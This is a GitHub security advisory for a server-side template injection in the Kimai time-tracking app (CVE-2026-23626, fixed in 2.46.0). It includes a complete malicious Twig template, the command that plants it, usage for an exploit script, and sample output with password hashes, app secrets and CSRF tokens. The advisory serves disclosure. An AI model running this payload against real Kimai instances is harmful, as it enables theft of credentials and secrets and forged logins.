GitHub Advisoryadvisory · Packagist

GHSA-jg2j-2w24-54cg Kimai has an Authenticated Server-Side Template Injection (SSTI)

MEDIUM Published 2026-01-20 Modified 2026-01-20 Official page ↗
Aliases
CVE-2026-23626
Ecosystem
Packagist
Packages
kimai/kimai
Severity
Moderate
CVSS vector
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:N/A:N
Weaknesses
CWE-1336
Reviewed
2026-01-20

Affected packages

• Packagist kimai/kimai: < 2.46.0 → fixed in 2.46.0

Description

Kimai 2.45.0 - Authenticated Server-Side Template Injection (SSTI) Vulnerability Summary | Field | Value | |-------|-------| | Title | Authenticated SSTI via Permissive Export Template Sandbox || Attack Vector | Network | | Attack Complexity | Low | | Privileges Required | High (Admin with export permissions and server access) | | User Interaction | None | | Impact | Confidentiality: HIGH (Credential/Secret Extraction) | | Affected Versions | Kimai 2.45.0 (likely earlier versions) | | Tested On | Docker: kimai/kimai2:apache-2.45.0 | | Discovery Date | 2026-01-05 | --- Why Scope is "Changed": The extracted `APP_SECRET` can be used to forge Symfony login links for ANY user account, expanding the attack beyond the initially compromised admin context. --- Vulnerability Description Kimai's export functionality uses a Twig sandbox with an overly permissive security policy (`DefaultPolicy`) that allows arbitrary method calls on objects available in the template context. An authenticated user with export permissions can deploy a malicious Twig template that extracts sensitive information including: 1. Environment Variables (APP_SECRET, DATABASE_URL) 2. All User Password Hashes (bcrypt) 3. Serialized Session Tokens 4. CSRF Tokens --- Prerequisites 1. Authenticated Access: Valid account with export permissions (typically ROLE_ADMIN, ROLE_SUPER_ADMIN, or ROLE_TEAMLEAD) 2. Template Deployment: Ability to place a malicious `.pdf.twig` template in `/opt/kimai/var/export/` via: • Filesystem access (server admin) --- Test Environment Users in Test Instance The test environment contains 2 users whose password hashes were successfully extracted: Kimai Users Page - screenshot_users.png: | User | Role | Hash Extracted | |------|------|----------------| | admin | ROLE_SUPER_ADMIN | ✅ Yes | | lowpriv | ROLE_USER | ✅ Yes | --- Confirmed Exploitation Evidence Test Date: 2026-01-05 Extracted Data (Actual Output from Exploit) ``` ===SSTI_EXTRACTION_START=== 1. ENVIRONMENT VARIABLES APP_SECRET: change_this_to_something_unique DATABASE_URL: mysql://kimai:kimai@db:3306/kimai?charset=utf8mb4&serverVersion=8.0 APP_ENV: prod 2. SESSION TOKEN (SERIALIZED) O:74:"Symfony\Component\Security\Core\Authentication\Token\UsernamePasswordToken":3:{ i:0;N;i:1;s:12:"secured_area";i:2;a:5:{ i:0;O:15:"App\Entity\User":5:{ s:2:"id";i:1; s:8:"username";s:5:"admin"; s:7:"enabled";b:1; s:5:"email";s:17:"[email protected]"; s:8:"password";s:60:"$2y$13$MsbvH2KU4c..MKHvzLxXFOm2ifNeXM/5Lnpae82hz322kUuSGLgye"; } i:1;b:1;i:2;N;i:3;a:0:{} i:4;a:2:{i:0;s:16:"ROLE_SUPER_ADMIN";i:1;s:9:"ROLE_USER";} } } 3. CURRENT USER DETAILS username: admin email: [email protected] password_hash: $2y$13$MsbvH2KU4c..MKHvzLxXFOm2ifNeXM/5Lnpae82hz322kUuSGLgye roles: ROLE_SUPER_ADMIN, ROLE_USER 4. ALL USER PASSWORD HASHES (FROM TIMESHEETS) admin:$2y$13$MsbvH2KU4c..MKHvzLxXFOm2ifNeXM/5Lnpae82hz322kUuSGLgye lowpriv:$2y$13$kgUXWI.PNtatDuOA6YV1.OWQ8DzWep1upVSs2dzrR8Wcw.HyA8E4a 5. CSRF TOKENS _csrf/search: IJ42Y5X-YIoBApjE3fsMVVTzf8cBXsA5jvRRmthbi-4 _csrf/datatable_update: 3RCV4maZUAbBg5XK9hICKWT7PyAK0yjzCz_HLtbBJ58 ===SSTI_EXTRACTION_END=== ``` --- Root Cause Analysis Vulnerable Code: `src/Twig/SecurityPolicy/ExportPolicy.php` The export functionality uses `ExportPolicy` which includes `DefaultPolicy`: ```php $this->policy->addPolicy(new DefaultPolicy()); ``` The Problem: `src/Twig/SecurityPolicy/DefaultPolicy.php` ```php final class DefaultPolicy implements SecurityPolicyInterface { public function checkSecurity($tags, $filters, $functions): void { // EMPTY - No restrictions on Twig tags/filters/functions } public function checkMethodAllowed($obj, $method): void { // EMPTY - Allows ANY method call on ANY object } public function checkPropertyAllowed($obj, $property): void { // EMPTY - Allows ANY property access on ANY object } } ``` This allows templates to call methods like: • `app.request.server.get("APP_SECRET")` - Environment variable access • `app.session.get("_security_secured_area")` - Session data access • `entry.user.password` - Password hash access --- Exploitation Steps Step 1: Deploy Malicious Template Save the following as `/opt/kimai/var/export/ssti-extract.pdf.twig`: ```bash docker exec kimai-kimai-1 bash -c 'cat > /opt/kimai/var/export/ssti-extract.pdf.twig SSTI Data Extraction body { font-family: monospace; font-size: 10px; } h1, h2 { color: #333; } pre { background: #f5f5f5; padding: 10px; overflow-wrap: break-word; } ===SSTI_EXTRACTION_START=== 1. ENVIRONMENT VARIABLES APP_SECRET: {{ app.request.server.get("APP_SECRET") }} DATABASE_URL: {{ app.request.server.get("DATABASE_URL") }} APP_ENV: {{ app.request.server.get("APP_ENV") }} APP_DEBUG: {{ app.request.server.get("APP_DEBUG") }} 2. SESSION TOKEN (SERIALIZED) {{ app.session.get("_security_secured_area") }} 3. CURRENT USER DETAILS {% set user = query.currentUser %} username: {{ user.username }} email: {{ user.email }} password_hash: {{ user.password }} roles: {{ user.roles|join(", ") }} id: {{ user.id }} 4. ALL USER PASSWORD HASHES (FROM TIMESHEETS) {% set seen = {} %} {% for entry in entries %} {% if entry.user is defined and entry.user.username not in seen %} {% set seen = seen|merge({(entry.user.username): true}) %} {{ entry.user.username }}:{{ entry.user.password }} {% endif %} {% endfor %} 5. CSRF TOKENS _csrf/search: {{ app.session.get("_csrf/search") }} _csrf/datatable_update: {{ app.session.get("_csrf/datatable_update") }} _csrf/entities_multiupdate: {{ app.session.get("_csrf/entities_multiupdate") }} 6. USER PREFERENCES {% set user = query.currentUser %} {% for pref in user.preferences %} {{ pref.name }}: {{ pref.value }} {% endfor %} ===SSTI_EXTRACTION_END=== TEMPLATE' ``` Step 2: Run the Exploit ```bash python3 ssti_exploit.py http://localhost:8001 admin ChangeMe_Strong123! ``` Step 3: Extract Text from PDF ```bash pdftotext kimai_extracted_data.pdf - ``` --- Detailed Exploit Usage Requirements ```bash Install Python dependencies pip install requests Install PDF text extraction tool sudo apt install poppler-utils ``` Command Syntax ``` python3 ssti_exploit.py [template_name] Arguments: target_url - Kimai instance URL (e.g., http://localhost:8001) username - Valid admin username with export permissions password - User password template_name - Optional: custom template (default: ssti-extract.pdf.twig) ``` Example Usage ```bash Basic usage python3 ssti_exploit.py http://localhost:8001 admin ChangeMe_Strong123! With custom template python3 ssti_exploit.py http://localhost:8001 admin ChangeMe_Strong123! custom-template.pdf.twig ``` Expected Output ``` ╔═══════════════════════════════════════════════════════════════╗ ║ Kimai 2.45.0 - SSTI Information Disclosure Exploit ║ ║ ║ ║ Extracts: APP_SECRET, DATABASE_URL, Password Hashes ║ ╚═══════════════════════════════════════════════════════════════╝ [*] Connecting to http://localhost:8001 [*] Authenticating as admin [+] Successfully authenticated as admin [*] Triggering SSTI with template: ssti-extract.pdf.twig [+] PDF generated successfully: 35356 bytes [+] PDF saved to: kimai_extracted_data.pdf ============================================================ RAW EXTRACTED DATA…

Related

Alias · CVE (1)

  • CVE-2026-23626 Kimai is a web-based multi-user time-tracking application. vulnerability

Weakness · CWE (1)

  • CWE-1336 Improper Neutralization of Special Elements Used in a Template Engine weakness

References